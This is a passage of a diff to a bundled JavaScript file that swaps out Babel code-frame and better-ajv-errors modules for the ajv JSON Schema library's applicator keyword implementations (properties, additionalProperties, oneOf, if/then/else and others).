cxt.ok(valid); + } } + exports28.validateSchemaDeps = validateSchemaDeps; + exports28.default = def; } }); -// node_modules/@babel/helper-validator-identifier/lib/index.js -var require_lib = __commonJS({ - "node_modules/@babel/helper-validator-identifier/lib/index.js"(exports28) { +// node_modules/ajv/dist/vocabularies/applicator/propertyNames.js +var require_propertyNames = __commonJS({ + "node_modules/ajv/dist/vocabularies/applicator/propertyNames.js"(exports28) { "use strict"; init_dirname(); init_buffer2(); init_process2(); - Object.defineProperty(exports28, "__esModule", { - value: true - }); - Object.defineProperty(exports28, "isIdentifierChar", { - enumerable: true, - get: function() { - return _identifier.isIdentifierChar; - } - }); - Object.defineProperty(exports28, "isIdentifierName", { - enumerable: true, - get: function() { - return _identifier.isIdentifierName; - } - }); - Object.defineProperty(exports28, "isIdentifierStart", { - enumerable: true, - get: function() { - return _identifier.isIdentifierStart; - } - }); - Object.defineProperty(exports28, "isKeyword", { - enumerable: true, - get: function() { - return _keyword.isKeyword; - } - }); - Object.defineProperty(exports28, "isReservedWord", { - enumerable: true, - get: function() { - return _keyword.isReservedWord; - } - }); - Object.defineProperty(exports28, "isStrictBindOnlyReservedWord", { - enumerable: true, - get: function() { - return _keyword.isStrictBindOnlyReservedWord; - } - }); - Object.defineProperty(exports28, "isStrictBindReservedWord", { - enumerable: true, - get: function() { - return _keyword.isStrictBindReservedWord; - } - }); - Object.defineProperty(exports28, "isStrictReservedWord", { - enumerable: true, - get: function() { - return _keyword.isStrictReservedWord; + Object.defineProperty(exports28, "__esModule", { value: true }); + var codegen_1 = require_codegen(); + var util_1 = require_util(); + var error2 = { + message: "property name must be valid", + params: ({ params }) => (0, codegen_1._)`{propertyName: ${params.propertyName}}` + }; + var def = { + keyword: "propertyNames", + type: "object", + schemaType: ["object", "boolean"], + error: error2, + code(cxt) { + const { gen, schema: schema8, data, it: it2 } = cxt; + if ((0, util_1.alwaysValidSchema)(it2, schema8)) + return; + const valid = gen.name("valid"); + gen.forIn("key", data, (key) => { + cxt.setParams({ propertyName: key }); + cxt.subschema({ + keyword: "propertyNames", + data: key, + dataTypes: ["string"], + propertyName: key, + compositeRule: true + }, valid); + gen.if((0, codegen_1.not)(valid), () => { + cxt.error(true); + if (!it2.allErrors) + gen.break(); + }); + }); + cxt.ok(valid); } - }); - var _identifier = require_identifier(); - var _keyword = require_keyword(); + }; + exports28.default = def; } }); -// node_modules/@babel/code-frame/lib/index.js -var require_lib2 = __commonJS({ - "node_modules/@babel/code-frame/lib/index.js"(exports28) { +// node_modules/ajv/dist/vocabularies/applicator/additionalProperties.js +var require_additionalProperties = __commonJS({ + "node_modules/ajv/dist/vocabularies/applicator/additionalProperties.js"(exports28) { "use strict"; init_dirname(); init_buffer2(); init_process2(); Object.defineProperty(exports28, "__esModule", { value: true }); - var picocolors = require_picocolors_browser(); - var jsTokens = require_js_tokens(); - var helperValidatorIdentifier = require_lib(); - function isColorSupported() { - return typeof process === "object" && (process.env.FORCE_COLOR === "0" || process.env.FORCE_COLOR === "false") ? false : picocolors.isColorSupported; - } - var compose = (f8, g7) => (v8) => f8(g7(v8)); - function buildDefs(colors) { - return { - keyword: colors.cyan, - capitalized: colors.yellow, - jsxIdentifier: colors.yellow, - punctuator: colors.yellow, - number: colors.magenta, - string: colors.green, - regex: colors.magenta, - comment: colors.gray, - invalid: compose(compose(colors.white, colors.bgRed), colors.bold), - gutter: colors.gray, - marker: compose(colors.red, colors.bold), - message: compose(colors.red, colors.bold), - reset: colors.reset - }; - } - var defsOn = buildDefs(picocolors.createColors(true)); - var defsOff = buildDefs(picocolors.createColors(false)); - function getDefs(enabled) { - return enabled ? defsOn : defsOff; - } - var sometimesKeywords = /* @__PURE__ */ new Set(["as", "async", "from", "get", "of", "set"]); - var NEWLINE$1 = /\r\n|[\n\r\u2028\u2029]/; - var BRACKET = /^[()[\]{}]$/; - var tokenize; - { - const JSX_TAG = /^[a-z][\w-]*$/i; - const getTokenType = function(token, offset, text) { - if (token.type === "name") { - if (helperValidatorIdentifier.isKeyword(token.value) || helperValidatorIdentifier.isStrictReservedWord(token.value, true) || sometimesKeywords.has(token.value)) { - return "keyword"; - } - if (JSX_TAG.test(token.value) && (text[offset - 1] === "<" || text.slice(offset - 2, offset) === " (0, codegen_1._)`{additionalProperty: ${params.additionalProperty}}` + }; + var def = { + keyword: "additionalProperties", + type: ["object"], + schemaType: ["boolean", "object"], + allowUndefined: true, + trackErrors: true, + error: error2, + code(cxt) { + const { gen, schema: schema8, parentSchema, data, errsCount, it: it2 } = cxt; + if (!errsCount) + throw new Error("ajv implementation error"); + const { allErrors, opts } = it2; + it2.props = true; + if (opts.removeAdditional !== "all" && (0, util_1.alwaysValidSchema)(it2, schema8)) + return; + const props = (0, code_1.allSchemaProperties)(parentSchema.properties); + const patProps = (0, code_1.allSchemaProperties)(parentSchema.patternProperties); + checkAdditionalProperties(); + cxt.ok((0, codegen_1._)`${errsCount} === ${names_1.default.errors}`); + function checkAdditionalProperties() { + gen.forIn("key", data, (key) => { + if (!props.length && !patProps.length) + additionalPropertyCode(key); + else + gen.if(isAdditional(key), () => additionalPropertyCode(key)); + }); + } + function isAdditional(key) { + let definedProp; + if (props.length > 8) { + const propsSchema = (0, util_1.schemaRefOrVal)(it2, parentSchema.properties, "properties"); + definedProp = (0, code_1.isOwnProperty)(gen, propsSchema, key); + } else if (props.length) { + definedProp = (0, codegen_1.or)(...props.map((p7) => (0, codegen_1._)`${key} === ${p7}`)); + } else { + definedProp = codegen_1.nil; } - if (token.value[0] !== token.value[0].toLowerCase()) { - return "capitalized"; + if (patProps.length) { + definedProp = (0, codegen_1.or)(definedProp, ...patProps.map((p7) => (0, codegen_1._)`${(0, code_1.usePattern)(cxt, p7)}.test(${key})`)); } + return (0, codegen_1.not)(definedProp); } - if (token.type === "punctuator" && BRACKET.test(token.value)) { - return "bracket"; + function deleteAdditional(key) { + gen.code((0, codegen_1._)`delete ${data}[${key}]`); } - if (token.type === "invalid" && (token.value === "@" || token.value === "#")) { - return "punctuator"; + function additionalPropertyCode(key) { + if (opts.removeAdditional === "all" || opts.removeAdditional && schema8 === false) { + deleteAdditional(key); + return; + } + if (schema8 === false) { + cxt.setParams({ additionalProperty: key }); + cxt.error(); + if (!allErrors) + gen.break(); + return; + } + if (typeof schema8 == "object" && !(0, util_1.alwaysValidSchema)(it2, schema8)) { + const valid = gen.name("valid"); + if (opts.removeAdditional === "failing") { + applyAdditionalSchema(key, valid, false); + gen.if((0, codegen_1.not)(valid), () => { + cxt.reset(); + deleteAdditional(key); + }); + } else { + applyAdditionalSchema(key, valid); + if (!allErrors) + gen.if((0, codegen_1.not)(valid), () => gen.break()); + } + } } - return token.type; - }; - tokenize = function* (text) { - let match; - while (match = jsTokens.default.exec(text)) { - const token = jsTokens.matchToToken(match); - yield { - type: getTokenType(token, match.index, text), - value: token.value + function applyAdditionalSchema(key, valid, errors) { + const subschema = { + keyword: "additionalProperties", + dataProp: key, + dataPropType: util_1.Type.Str }; + if (errors === false) { + Object.assign(subschema, { + compositeRule: true, + createErrors: false, + allErrors: false + }); + } + cxt.subschema(subschema, valid); } - }; - } - function highlight(text) { - if (text === "") - return ""; - const defs = getDefs(true); - let highlighted = ""; - for (const { - type: type3, - value: value2 - } of tokenize(text)) { - if (type3 in defs) { - highlighted += value2.split(NEWLINE$1).map((str2) => defs[type3](str2)).join("\n"); - } else { - highlighted += value2; - } - } - return highlighted; - } - var deprecationWarningShown = false; - var NEWLINE = /\r\n|[\n\r\u2028\u2029]/; - function getMarkerLines(loc, source, opts) { - const startLoc = Object.assign({ - column: 0, - line: -1 - }, loc.start); - const endLoc = Object.assign({}, startLoc, loc.end); - const { - linesAbove = 2, - linesBelow = 3 - } = opts || {}; - const startLine = startLoc.line; - const startColumn = startLoc.column; - const endLine = endLoc.line; - const endColumn = endLoc.column; - let start = Math.max(startLine - (linesAbove + 1), 0); - let end = Math.min(source.length, endLine + linesBelow); - if (startLine === -1) { - start = 0; } - if (endLine === -1) { - end = source.length; - } - const lineDiff = endLine - startLine; - const markerLines = {}; - if (lineDiff) { - for (let i7 = 0; i7 <= lineDiff; i7++) { - const lineNumber = i7 + startLine; - if (!startColumn) { - markerLines[lineNumber] = true; - } else if (i7 === 0) { - const sourceLength = source[lineNumber - 1].length; - markerLines[lineNumber] = [startColumn, sourceLength - startColumn + 1]; - } else if (i7 === lineDiff) { - markerLines[lineNumber] = [0, endColumn]; - } else { - const sourceLength = source[lineNumber - i7].length; - markerLines[lineNumber] = [0, sourceLength]; - } + }; + exports28.default = def; + } +}); + +// node_modules/ajv/dist/vocabularies/applicator/properties.js +var require_properties = __commonJS({ + "node_modules/ajv/dist/vocabularies/applicator/properties.js"(exports28) { + "use strict"; + init_dirname(); + init_buffer2(); + init_process2(); + Object.defineProperty(exports28, "__esModule", { value: true }); + var validate_1 = require_validate(); + var code_1 = require_code2(); + var util_1 = require_util(); + var additionalProperties_1 = require_additionalProperties(); + var def = { + keyword: "properties", + type: "object", + schemaType: "object", + code(cxt) { + const { gen, schema: schema8, parentSchema, data, it: it2 } = cxt; + if (it2.opts.removeAdditional === "all" && parentSchema.additionalProperties === void 0) { + additionalProperties_1.default.code(new validate_1.KeywordCxt(it2, additionalProperties_1.default, "additionalProperties")); } - } else { - if (startColumn === endColumn) { - if (startColumn) { - markerLines[startLine] = [startColumn, 0]; + const allProps = (0, code_1.allSchemaProperties)(schema8); + for (const prop of allProps) { + it2.definedProperties.add(prop); + } + if (it2.opts.unevaluated && allProps.length && it2.props !== true) { + it2.props = util_1.mergeEvaluated.props(gen, (0, util_1.toHash)(allProps), it2.props); + } + const properties = allProps.filter((p7) => !(0, util_1.alwaysValidSchema)(it2, schema8[p7])); + if (properties.length === 0) + return; + const valid = gen.name("valid"); + for (const prop of properties) { + if (hasDefault(prop)) { + applyPropertySchema(prop); } else { - markerLines[startLine] = true; + gen.if((0, code_1.propertyInData)(gen, data, prop, it2.opts.ownProperties)); + applyPropertySchema(prop); + if (!it2.allErrors) + gen.else().var(valid, true); + gen.endIf(); } - } else { - markerLines[startLine] = [startColumn, endColumn - startColumn]; + cxt.it.definedProperties.add(prop); + cxt.ok(valid); + } + function hasDefault(prop) { + return it2.opts.useDefaults && !it2.compositeRule && schema8[prop].default !== void 0; + } + function applyPropertySchema(prop) { + cxt.subschema({ + keyword: "properties", + schemaProp: prop, + dataProp: prop + }, valid); } } - return { - start, - end, - markerLines - }; - } - function codeFrameColumns(rawLines, loc, opts = {}) { - const shouldHighlight = opts.forceColor || isColorSupported() && opts.highlightCode; - const defs = getDefs(shouldHighlight); - const lines = rawLines.split(NEWLINE); - const { - start, - end, - markerLines - } = getMarkerLines(loc, lines, opts); - const hasColumns = loc.start && typeof loc.start.column === "number"; - const numberMaxWidth = String(end).length; - const highlightedLines = shouldHighlight ? highlight(rawLines) : rawLines; - let frame = highlightedLines.split(NEWLINE, end).slice(start, end).map((line, index5) => { - const number = start + 1 + index5; - const paddedNumber = ` ${number}`.slice(-numberMaxWidth); - const gutter = ` ${paddedNumber} |`; - const hasMarker = markerLines[number]; - const lastMarkerLine = !markerLines[number + 1]; - if (hasMarker) { - let markerLine = ""; - if (Array.isArray(hasMarker)) { - const markerSpacing = line.slice(0, Math.max(hasMarker[0] - 1, 0)).replace(/[^\t]/g, " "); - const numberOfMarkers = hasMarker[1] || 1; - markerLine = ["\n ", defs.gutter(gutter.replace(/\d/g, " ")), " ", markerSpacing, defs.marker("^").repeat(numberOfMarkers)].join(""); - if (lastMarkerLine && opts.message) { - markerLine += " " + defs.message(opts.message); + }; + exports28.default = def; + } +}); + +// node_modules/ajv/dist/vocabularies/applicator/patternProperties.js +var require_patternProperties = __commonJS({ + "node_modules/ajv/dist/vocabularies/applicator/patternProperties.js"(exports28) { + "use strict"; + init_dirname(); + init_buffer2(); + init_process2(); + Object.defineProperty(exports28, "__esModule", { value: true }); + var code_1 = require_code2(); + var codegen_1 = require_codegen(); + var util_1 = require_util(); + var util_2 = require_util(); + var def = { + keyword: "patternProperties", + type: "object", + schemaType: "object", + code(cxt) { + const { gen, schema: schema8, data, parentSchema, it: it2 } = cxt; + const { opts } = it2; + const patterns = (0, code_1.allSchemaProperties)(schema8); + const alwaysValidPatterns = patterns.filter((p7) => (0, util_1.alwaysValidSchema)(it2, schema8[p7])); + if (patterns.length === 0 || alwaysValidPatterns.length === patterns.length && (!it2.opts.unevaluated || it2.props === true)) { + return; + } + const checkProperties = opts.strictSchema && !opts.allowMatchingProperties && parentSchema.properties; + const valid = gen.name("valid"); + if (it2.props !== true && !(it2.props instanceof codegen_1.Name)) { + it2.props = (0, util_2.evaluatedPropsToName)(gen, it2.props); + } + const { props } = it2; + validatePatternProperties(); + function validatePatternProperties() { + for (const pat of patterns) { + if (checkProperties) + checkMatchingProperties(pat); + if (it2.allErrors) { + validateProperties(pat); + } else { + gen.var(valid, true); + validateProperties(pat); + gen.if(valid); } } - return [defs.marker(">"), defs.gutter(gutter), line.length > 0 ? ` ${line}` : "", markerLine].join(""); - } else { - return ` ${defs.gutter(gutter)}${line.length > 0 ? ` ${line}` : ""}`; } - }).join("\n"); - if (opts.message && !hasColumns) { - frame = `${" ".repeat(numberMaxWidth + 1)}${opts.message} -${frame}`; - } - if (shouldHighlight) { - return defs.reset(frame); - } else { - return frame; - } - } - function index4(rawLines, lineNumber, colNumber, opts = {}) { - if (!deprecationWarningShown) { - deprecationWarningShown = true; - const message = "Passing lineNumber and colNumber is deprecated to @babel/code-frame. Please use `codeFrameColumns`."; - if (process.emitWarning) { - process.emitWarning(message, "DeprecationWarning"); - } else { - const deprecationError = new Error(message); - deprecationError.name = "DeprecationWarning"; - console.warn(new Error(message)); + function checkMatchingProperties(pat) { + for (const prop in checkProperties) { + if (new RegExp(pat).test(prop)) { + (0, util_1.checkStrictMode)(it2, `property ${prop} matches pattern ${pat} (use allowMatchingProperties)`); + } + } } - } - colNumber = Math.max(colNumber, 0); - const location2 = { - start: { - column: colNumber, - line: lineNumber + function validateProperties(pat) { + gen.forIn("key", data, (key) => { + gen.if((0, codegen_1._)`${(0, code_1.usePattern)(cxt, pat)}.test(${key})`, () => { + const alwaysValid = alwaysValidPatterns.includes(pat); + if (!alwaysValid) { + cxt.subschema({ + keyword: "patternProperties", + schemaProp: pat, + dataProp: key, + dataPropType: util_2.Type.Str + }, valid); + } + if (it2.opts.unevaluated && props !== true) { + gen.assign((0, codegen_1._)`${props}[${key}]`, true); + } else if (!alwaysValid && !it2.allErrors) { + gen.if((0, codegen_1.not)(valid), () => gen.break()); + } + }); + }); } - }; - return codeFrameColumns(rawLines, location2, opts); - } - exports28.codeFrameColumns = codeFrameColumns; - exports28.default = index4; - exports28.highlight = highlight; + } + }; + exports28.default = def; } }); -// node_modules/@readme/better-ajv-errors/lib/json/utils.js -var require_utils2 = __commonJS({ - "node_modules/@readme/better-ajv-errors/lib/json/utils.js"(exports28) { +// node_modules/ajv/dist/vocabularies/applicator/not.js +var require_not = __commonJS({ + "node_modules/ajv/dist/vocabularies/applicator/not.js"(exports28) { "use strict"; init_dirname(); init_buffer2(); init_process2(); - Object.defineProperty(exports28, "__esModule", { - value: true - }); - exports28.getPointers = void 0; - var getPointers = exports28.getPointers = function getPointers2(dataPath) { - var pointers = dataPath.split("/").slice(1); - for (var index4 in pointers) { - pointers[index4] = pointers[index4].split("~1").join("/").split("~0").join("~"); - } - return pointers; + Object.defineProperty(exports28, "__esModule", { value: true }); + var util_1 = require_util(); + var def = { + keyword: "not", + schemaType: ["object", "boolean"], + trackErrors: true, + code(cxt) { + const { gen, schema: schema8, it: it2 } = cxt; + if ((0, util_1.alwaysValidSchema)(it2, schema8)) { + cxt.fail(); + return; + } + const valid = gen.name("valid"); + cxt.subschema({ + keyword: "not", + compositeRule: true, + createErrors: false, + allErrors: false + }, valid); + cxt.failResult(valid, () => cxt.reset(), () => cxt.error()); + }, + error: { message: "must NOT be valid" } }; + exports28.default = def; } }); -// node_modules/@readme/better-ajv-errors/lib/json/get-meta-from-path.js -var require_get_meta_from_path = __commonJS({ - "node_modules/@readme/better-ajv-errors/lib/json/get-meta-from-path.js"(exports28, module5) { +// node_modules/ajv/dist/vocabularies/applicator/anyOf.js +var require_anyOf = __commonJS({ + "node_modules/ajv/dist/vocabularies/applicator/anyOf.js"(exports28) { "use strict"; init_dirname(); init_buffer2(); init_process2(); - Object.defineProperty(exports28, "__esModule", { - value: true - }); - exports28["default"] = getMetaFromPath; - var _utils = require_utils2(); - function getMetaFromPath(jsonAst, dataPath, includeIdentifierLocation) { - var pointers = (0, _utils.getPointers)(dataPath); - var lastPointerIndex = pointers.length - 1; - return pointers.reduce(function(obj, pointer, idx) { - switch (obj.type) { - case "Object": { - var filtered = obj.members.filter(function(child) { - return child.name.value === pointer; - }); - if (filtered.length !== 1) { - throw new Error("Couldn't find property ".concat(pointer, " of ").concat(dataPath)); - } - var _filtered$ = filtered[0], name2 = _filtered$.name, value2 = _filtered$.value; - return includeIdentifierLocation && idx === lastPointerIndex ? name2 : value2; - } - case "Array": - return obj.elements[pointer]; - default: - console.log(obj); - } - }, jsonAst.body); - } - module5.exports = exports28.default; + Object.defineProperty(exports28, "__esModule", { value: true }); + var code_1 = require_code2(); + var def = { + keyword: "anyOf", + schemaType: "array", + trackErrors: true, + code: code_1.validateUnion, + error: { message: "must match a schema in anyOf" } + }; + exports28.default = def; } }); -// node_modules/@readme/better-ajv-errors/lib/json/get-decorated-data-path.js -var require_get_decorated_data_path = __commonJS({ - "node_modules/@readme/better-ajv-errors/lib/json/get-decorated-data-path.js"(exports28, module5) { +// node_modules/ajv/dist/vocabularies/applicator/oneOf.js +var require_oneOf = __commonJS({ + "node_modules/ajv/dist/vocabularies/applicator/oneOf.js"(exports28) { "use strict"; init_dirname(); init_buffer2(); init_process2(); - Object.defineProperty(exports28, "__esModule", { - value: true - }); - exports28["default"] = getDecoratedDataPath; - var _utils = require_utils2(); - function getTypeName(obj) { - if (!obj || !obj.elements) { - return ""; - } - var type3 = obj.elements.filter(function(child) { - return child && child.name && child.name.value === "type"; - }); - if (!type3.length) { - return ""; - } - return type3[0].value && ":".concat(type3[0].value.value) || ""; - } - function getDecoratedDataPath(jsonAst, dataPath) { - var decoratedPath = ""; - (0, _utils.getPointers)(dataPath).reduce(function(obj, pointer) { - switch (obj.type) { - case "Object": { - decoratedPath += "/".concat(pointer); - var filtered = obj.members.filter(function(child) { - return child.name.value === pointer; - }); - if (filtered.length !== 1) { - throw new Error("Couldn't find property ".concat(pointer, " of ").concat(dataPath)); + Object.defineProperty(exports28, "__esModule", { value: true }); + var codegen_1 = require_codegen(); + var util_1 = require_util(); + var error2 = { + message: "must match exactly one schema in oneOf", + params: ({ params }) => (0, codegen_1._)`{passingSchemas: ${params.passing}}` + }; + var def = { + keyword: "oneOf", + schemaType: "array", + trackErrors: true, + error: error2, + code(cxt) { + const { gen, schema: schema8, parentSchema, it: it2 } = cxt; + if (!Array.isArray(schema8)) + throw new Error("ajv implementation error"); + if (it2.opts.discriminator && parentSchema.discriminator) + return; + const schArr = schema8; + const valid = gen.let("valid", false); + const passing = gen.let("passing", null); + const schValid = gen.name("_valid"); + cxt.setParams({ passing }); + gen.block(validateOneOf); + cxt.result(valid, () => cxt.reset(), () => cxt.error(true)); + function validateOneOf() { + schArr.forEach((sch, i7) => { + let schCxt; + if ((0, util_1.alwaysValidSchema)(it2, sch)) { + gen.var(schValid, true); + } else { + schCxt = cxt.subschema({ + keyword: "oneOf", + schemaProp: i7, + compositeRule: true + }, schValid); } - return filtered[0].value; - } - case "Array": { - decoratedPath += "/".concat(pointer).concat(getTypeName(obj.elements[pointer])); - return obj.elements[pointer]; - } - default: - console.log(obj); + if (i7 > 0) { + gen.if((0, codegen_1._)`${schValid} && ${valid}`).assign(valid, false).assign(passing, (0, codegen_1._)`[${passing}, ${i7}]`).else(); + } + gen.if(schValid, () => { + gen.assign(valid, true); + gen.assign(passing, i7); + if (schCxt) + cxt.mergeEvaluated(schCxt, codegen_1.Name); + }); + }); } - }, jsonAst.body); - return decoratedPath; - } - module5.exports = exports28.default; + } + }; + exports28.default = def; } }); -// node_modules/@readme/better-ajv-errors/lib/json/index.js -var require_json = __commonJS({ - "node_modules/@readme/better-ajv-errors/lib/json/index.js"(exports28) { +// node_modules/ajv/dist/vocabularies/applicator/allOf.js +var require_allOf = __commonJS({ + "node_modules/ajv/dist/vocabularies/applicator/allOf.js"(exports28) { "use strict"; init_dirname(); init_buffer2(); init_process2(); - var _interopRequireDefault = require_interopRequireDefault(); - Object.defineProperty(exports28, "__esModule", { - value: true - }); - Object.defineProperty(exports28, "getDecoratedDataPath", { - enumerable: true, - get: function get4() { - return _getDecoratedDataPath["default"]; - } - }); - Object.defineProperty(exports28, "getMetaFromPath", { - enumerable: true, - get: function get4() { - return _getMetaFromPath["default"]; + Object.defineProperty(exports28, "__esModule", { value: true }); + var util_1 = require_util(); + var def = { + keyword: "allOf", + schemaType: "array", + code(cxt) { + const { gen, schema: schema8, it: it2 } = cxt; + if (!Array.isArray(schema8)) + throw new Error("ajv implementation error"); + const valid = gen.name("valid"); + schema8.forEach((sch, i7) => { + if ((0, util_1.alwaysValidSchema)(it2, sch)) + return; + const schCxt = cxt.subschema({ keyword: "allOf", schemaProp: i7 }, valid); + cxt.ok(valid); + cxt.mergeEvaluated(schCxt); + }); } - }); - var _getMetaFromPath = _interopRequireDefault(require_get_meta_from_path()); - var _getDecoratedDataPath = _interopRequireDefault(require_get_decorated_data_path()); + }; + exports28.default = def; } }); -// node_modules/@readme/better-ajv-errors/lib/validation-errors/base.js -var require_base = __commonJS({ - "node_modules/@readme/better-ajv-errors/lib/validation-errors/base.js"(exports28, module5) { +// node_modules/ajv/dist/vocabularies/applicator/if.js +var require_if = __commonJS({ + "node_modules/ajv/dist/vocabularies/applicator/if.js"(exports28) { "use strict"; init_dirname(); init_buffer2(); init_process2(); - var _interopRequireDefault = require_interopRequireDefault(); - Object.defineProperty(exports28, "__esModule", { - value: true - }); - exports28["default"] = void 0; - var _classCallCheck22 = _interopRequireDefault(require_classCallCheck()); - var _createClass22 = _interopRequireDefault(require_createClass()); - var _codeFrame = require_lib2(); - var _picocolors = _interopRequireDefault(require_picocolors_browser()); - var _json = require_json(); - var BaseValidationError = exports28["default"] = /* @__PURE__ */ function() { - function BaseValidationError2() { - var options = arguments.length > 0 && arguments[0] !== void 0 ? arguments[0] : { - isIdentifierLocation: false - }; - var _ref = arguments.length > 1 ? arguments[1] : void 0, colorize = _ref.colorize, data = _ref.data, schema8 = _ref.schema, jsonAst = _ref.jsonAst, jsonRaw = _ref.jsonRaw; - (0, _classCallCheck22["default"])(this, BaseValidationError2); - this.options = options; - this.colorize = !!(!!colorize || colorize === void 0); - this.data = data; - this.schema = schema8; - this.jsonAst = jsonAst; - this.jsonRaw = jsonRaw; - } - return (0, _createClass22["default"])(BaseValidationError2, [{ - key: "getColorizer", - value: function getColorizer() { - return this.colorize ? _picocolors["default"] : ( - // `picocolors` doesn't have a way to programatically disable the library so we're - // creating an empty proxy that'll just return the arguments of any color functions we - // invoke, sans any colorization. - new Proxy({}, { - get: function get4() { - return function(arg) { - return arg; - }; - } - }) - ); - } - }, { - key: "getLocation", - value: function getLocation2() { - var dataPath = arguments.length > 0 && arguments[0] !== void 0 ? arguments[0] : this.instancePath; - var _this$options = this.options, isIdentifierLocation = _this$options.isIdentifierLocation, isSkipEndLocation = _this$options.isSkipEndLocation; - var _getMetaFromPath = (0, _json.getMetaFromPath)(this.jsonAst, dataPath, isIdentifierLocation), loc = _getMetaFromPath.loc; - return { - start: loc.start, - end: isSkipEndLocation ? void 0 : loc.end - }; - } - }, { - key: "getDecoratedPath", - value: function getDecoratedPath() { - var dataPath = arguments.length > 0 && arguments[0] !== void 0 ? arguments[0] : this.instancePath; - return (0, _json.getDecoratedDataPath)(this.jsonAst, dataPath); - } - }, { - key: "getCodeFrame", - value: function getCodeFrame(message) { - var dataPath = arguments.length > 1 && arguments[1] !== void 0 ? arguments[1] : this.instancePath; - return (0, _codeFrame.codeFrameColumns)(this.jsonRaw, this.getLocation(dataPath), { - /** - * `@babel/highlight`, by way of `@babel/code-frame`, highlights out entire block of raw JSON - * instead of just our `location` block -- so if you have a block of raw JSON that's upwards - * of 2mb+ and have a lot of errors to generate code frames for then we're re-highlighting - * the same huge chunk of code over and over and over and over again, all just so - * `@babel/code-frame` will eventually extract a small <10 line chunk out of it to return to - * us. - * - * Disabling `highlightCode` here will only disable highlighting the code we're showing users; - * if `options.colorize` is supplied to this library then the error message we're adding will - * still be highlighted. - */ - highlightCode: false, - message - }); + Object.defineProperty(exports28, "__esModule", { value: true }); + var codegen_1 = require_codegen(); + var util_1 = require_util(); + var error2 = { + message: ({ params }) => (0, codegen_1.str)`must match "${params.ifClause}" schema`, + params: ({ params }) => (0, codegen_1._)`{failingKeyword: ${params.ifClause}}` + }; + var def = { + keyword: "if", + schemaType: ["object", "boolean"], + trackErrors: true, + error: error2, + code(cxt) { + const { gen, parentSchema, it: it2 } = cxt; + if (parentSchema.then === void 0 && parentSchema.else === void 0) { + (0, util_1.checkStrictMode)(it2, '"if" without "then" and "else" is ignored'); } - /** - * @return {string} - */ - }, { - key: "instancePath", - get: function get4() { - return typeof this.options.instancePath !== "undefined" ? this.options.instancePath : this.options.dataPath; + const hasThen = hasSchema(it2, "then"); + const hasElse = hasSchema(it2, "else"); + if (!hasThen && !hasElse) + return; + const valid = gen.let("valid", true); + const schValid = gen.name("_valid"); + validateIf(); + cxt.reset(); + if (hasThen && hasElse) { + const ifClause = gen.let("ifClause"); + cxt.setParams({ ifClause }); + gen.if(schValid, validateClause("then", ifClause), validateClause("else", ifClause)); + } else if (hasThen) { + gen.if(schValid, validateClause("then")); + } else { + gen.if((0, codegen_1.not)(schValid), validateClause("else")); } - }, { - key: "print", - value: function print() { - throw new Error("Implement the 'print' method inside ".concat(this.constructor.name, "!")); + cxt.pass(valid, () => cxt.error(true)); + function validateIf() { + const schCxt = cxt.subschema({ + keyword: "if", + compositeRule: true, + createErrors: false, + allErrors: false + }, schValid); + cxt.mergeEvaluated(schCxt); } - }, { - key: "getError", - value: function getError() { - throw new Error("Implement the 'getError' method inside ".concat(this.constructor.name, "!")); + function validateClause(keyword, ifClause) { + return () => { + const schCxt = cxt.subschema({ keyword }, schValid); + gen.assign(valid, schValid); + cxt.mergeValidEvaluated(schCxt, valid); + if (ifClause) + gen.assign(ifClause, (0, codegen_1._)`${keyword}`); + else + cxt.setParams({ ifClause: keyword }); + }; } - }]); - }(); - module5.exports = exports28.default; + } + }; + function hasSchema(it2, keyword) { + const schema8 = it2.schema[keyword]; + return schema8 !== void 0 && !(0, util_1.alwaysValidSchema)(it2, schema8); + } + exports28.default = def; } }); -// node_modules/@readme/better-ajv-errors/lib/validation-errors/additional-prop.js -var require_additional_prop = __commonJS({ - "node_modules/@readme/better-ajv-errors/lib/validation-errors/additional-prop.js"(exports28, module5) { +// node_modules/ajv/dist/vocabularies/applicator/thenElse.js +var require_thenElse = __commonJS({ + "node_modules/ajv/dist/vocabularies/applicator/thenElse.js"(exports28) { "use strict"; init_dirname(); init_buffer2(); init_process2(); - var _interopRequireDefault = require_interopRequireDefault(); - Object.defineProperty(exports28, "__esModule", { - value: true - }); - exports28["default"] = void 0; - var _defineProperty2 = _interopRequireDefault(require_defineProperty()); - var _classCallCheck22 = _interopRequireDefault(require_classCallCheck()); - var _createClass22 = _interopRequireDefault(require_createClass()); - var _possibleConstructorReturn22 = _interopRequireDefault(require_possibleConstructorReturn()); - var _getPrototypeOf22 = _interopRequireDefault(require_getPrototypeOf()); - var _inherits22 = _interopRequireDefault(require_inherits()); - var _base = _interopRequireDefault(require_base()); - function ownKeys2(e10, r8) { - var t8 = Object.keys(e10); - if (Object.getOwnPropertySymbols) { - var o7 = Object.getOwnPropertySymbols(e10); - r8 && (o7 = o7.filter(function(r9) { - return Object.getOwnPropertyDescriptor(e10, r9).enumerable; - })), t8.push.apply(t8, o7); - } - return t8; - } - function _objectSpread(e10) { - for (var r8 = 1; r8 < arguments.length; r8++) { - var t8 = null != arguments[r8] ? arguments[r8] : {}; - r8 % 2 ? ownKeys2(Object(t8), true).forEach(function(r9) { - (0, _defineProperty2["default"])(e10, r9, t8[r9]); - }) : Object.getOwnPropertyDescriptors ? Object.defineProperties(e10, Object.getOwnPropertyDescriptors(t8)) : ownKeys2(Object(t8)).forEach(function(r9) { - Object.defineProperty(e10, r9, Object.getOwnPropertyDescriptor(t8, r9)); - }); - } - return e10; - } - function _callSuper(t8, o7, e10) { - return o7 = (0, _getPrototypeOf22["default"])(o7), (0, _possibleConstructorReturn22["default"])(t8, _isNativeReflectConstruct3() ? Reflect.construct(o7, e10 || [], (0, _getPrototypeOf22["default"])(t8).constructor) : o7.apply(t8, e10)); - } - function _isNativeReflectConstruct3() { - try { - var t8 = !Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function() { - })); - } catch (t9) { - } - return (_isNativeReflectConstruct3 = function _isNativeReflectConstruct4() { - return !!t8; - })(); - } - var AdditionalPropValidationError = exports28["default"] = /* @__PURE__ */ function(_BaseValidationError) { - function AdditionalPropValidationError2() { - var _this; - (0, _classCallCheck22["default"])(this, AdditionalPropValidationError2); - for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) { - args[_key] = arguments[_key]; - } - _this = _callSuper(this, AdditionalPropValidationError2, [].concat(args)); - _this.name = "AdditionalPropValidationError"; - _this.options.isIdentifierLocation = true; - return _this; + Object.defineProperty(exports28, "__esModule", { value: true }); + var util_1 = require_util(); + var def = { + keyword: ["then", "else"], + schemaType: ["object", "boolean"], + code({ keyword, parentSchema, it: it2 